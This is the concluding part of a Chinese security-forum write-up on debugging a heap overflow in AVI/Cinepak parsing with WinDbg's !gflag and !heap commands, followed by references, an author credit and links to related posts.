这次漏洞分析花费的时间主要集中在前面对于堆溢出相关知识的复习,以及AVI格式的学习上。一旦对于格式有所了解,使用!gflag定位到漏洞函数后,代码分析就很简单了。
 
!gflag和!heap命令在堆溢出的漏洞分析上帮助很大;如何使用Windbg,在加载DLL之后设置断点也是新接触到的一个知识点。
 
对于该漏洞本身,在刚看到漏洞介绍时,我只以为是在单次strcpy调用时复制的数据超过了目标空间大小,但实际调试时发现是多次同样大小的数据复制最终超过了目标空间大小,虽然原理相同,但这里需要判断的其实应该是复制的次数而不是大小了。



7


参考资料

1、《漏洞战争》

2、Common WinDbg Commands (Thematically Grouped)

3、AVI文件格式详解

4、cinepak文档



 


看雪ID:LarryS

https://bbs.pediy.com/user-home-600394.htm

*本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区





# 往期推荐

1. 使用unidbg破解孤挺花字符串混淆并修复so

2. MTCTF-PSA-Writeup

3. 【分析记录】疑似Confucius组织组件CuoliVXaRAT分析

4. WOW怀旧服 明文发包获取和HOOK

5. X86内核笔记_2_驱动开发

6. 新的漏洞分析体验:CVE-2010-3333 RTF栈缓冲区溢出漏洞



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存